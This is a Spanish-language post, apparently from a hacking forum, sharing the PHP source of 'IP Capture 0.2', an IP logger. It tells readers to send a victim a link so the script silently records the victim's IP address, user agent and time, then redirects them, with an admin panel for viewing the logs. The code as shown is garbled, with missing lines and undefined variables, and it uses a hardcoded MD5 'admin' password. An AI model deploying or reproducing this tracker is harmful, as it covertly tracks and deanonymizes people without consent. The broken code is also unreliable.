La idea es asi , mandarle a la victima la url con ?id= , por ejemplo en mi caso el archivo es image.php , entonces para mandarle a la victima seria asi :
http://localhost/images/image.php?id=
De esa forma el programa captura la IP y la hora , despues de esto el programa redirecciona a la url marcada por ustedes en la configuracion del programa.
Para entrar a la administracion es asi :
http://localhost/images/image.php?admin=
El codigo :
Código
<?php // IP Capture 0.2 // Written By Doddy Hackman in the summer of the 2014 //Edit $username = "admin"; $password = "21232f297a57a5a743894a0e4a801fc3"; //admin $host = "localhost"; $userw = "root"; $passw = ""; $db = "ip"; // if ($ipa == - 1 || $ipa === FALSE || $ip == "127.0.0.1") { //echo $ip."<br>"; //echo $agente."<br>"; //echo $hora."<br>"; echo "<meta http-equiv='Refresh' content='0;url=$valor[0]'>"; } } else { echo "<script>alert('Good Try Bitch');</script>"; } $user = $plit[0]; $pass = $plit[1]; if ($user == $username and $pass == $password) { darcolor(); $todo = "create table ips ( id int(10) UNSIGNED NOT NULL AUTO_INCREMENT, ip TEXT NOT NULL, useragent TEXT NOT NULL, hora TEXT NOT NULL, PRIMARY KEY(id)); "; $todo2 = "create table links ( id int(10) UNSIGNED NOT NULL AUTO_INCREMENT, link TEXT NOT NULL, PRIMARY KEY(id)); "; echo "<script>alert('Installed');</script>"; echo '<meta http-equiv="refresh" content=0;URL=>'; } } else { echo "<script>alert('Error');</script>"; } } //Lo demas echo "<table border=1 style='margin: 0 auto;'>"; echo "<title>IP Capture Administration 0.2</title>"; echo "<td><br><center><h1><b>IP Capture Administration 0.2</h1></b></center><br><br></td><tr>"; $id = $_GET['del']; echo "<script>alert('Deleted');</script>"; } else { echo "<script>alert('Error');</script>"; } } } echo "<script>alert('Changed');</script>"; } else { echo "<script>alert('Error');</script>"; } } echo "<td> <center><table borde=1><td> <h2><center><br>Update Link</center></h2></td><tr><br><br><td> <form action='?admin=na&linknuevo' method=POST><br> <b>Link : </b><input type=text size=50 name=linknuevo value="; echo $valor[0]; } echo "></td><tr><td><center><br><input type=submit value=Changed></center><br></td><tr></table><br> </form></td><tr> <br><td>"; echo "<center><table border=1><br>"; echo "<td><h2><br><center>Link to Send</center></h2></td><tr>"; echo "<td><input text=gen size=100 value=" . $iny . "></td><tr>"; echo "<br></table></center><br>"; echo "<br><center><table border=1> <td><h2><center>Logs</center></h2></td><tr><td> <table border=1> <td>ID</td><td>IP</td><td>UserAgent</td><td>DateTime</td><td>Option</td><tr>"; echo "<td>" . htmlentities($ab[0]) . "</td><td>" . htmlentities($ab[1]) . "</td><td>" . htmlentities($ab[2]) . "</td><td>" . htmlentities($ab[3]) . "</td><td><a href=?admin=na&del=" . htmlentities($ab[0]) . ">Delete</a></td><tr>"; } echo "</table></center><br><br><br></td> </center> </td><tr></table> "; echo "<br><br><br><center><h1>-- == (C) Doddy Hackman 2014 == --</h1></center><br><br></table>"; // } else { echo " <center><br><br> <form action='' method=POST> <h2>You want to install IP Capture 0.2 ?</h2><br><br> <input type=submit name=instalar value=Install> </form>"; } // End } else { echo "<script>alert('Fuck You');</script>"; } } echo "<script>alert('Welcome Idiot');</script>"; echo '<meta http-equiv="refresh" content=0;URL=?admin=>'; } else { echo "<script>alert('Fuck You');</script>"; } } else { darcolor(); echo " <title>IP Capture 0.2</title> <br><h1><center>IP Capture 0.2</center></h1> <br><br><center> <form action='' method=POST> Username : <input type=text name=user><br> Password : <input type=text name=password><br><br> <input type=submit name=login value=Enter><br> </form> </center><br><br>"; } } else { echo "<meta http-equiv='Refresh' content='0;url=$valor[0]'>"; } } function darcolor() { echo '<style type="text/css"> .main { margin : -287px 0px 0px -490px; border : White solid 1px; BORDER-COLOR: #00FF00; } #pie { position: absolute; bottom: 0; } body,a:link { background-color: #000000; color:#00FF00; Courier New; cursor:crosshair; font-size: small; } input,table.outset,table.bord,table,textarea,select,fieldset,td,tr { font: normal 10px Verdana, Arial, Helvetica, sans-serif; background-color:black;color:#00FF00; border: solid 1px #00FF00; border-color:#00FF00 } a:link,a:visited,a:active { color: #00FF00; font: normal 10px Verdana, Arial, Helvetica, sans-serif; text-decoration: none; } </style>'; } // The End ? ?>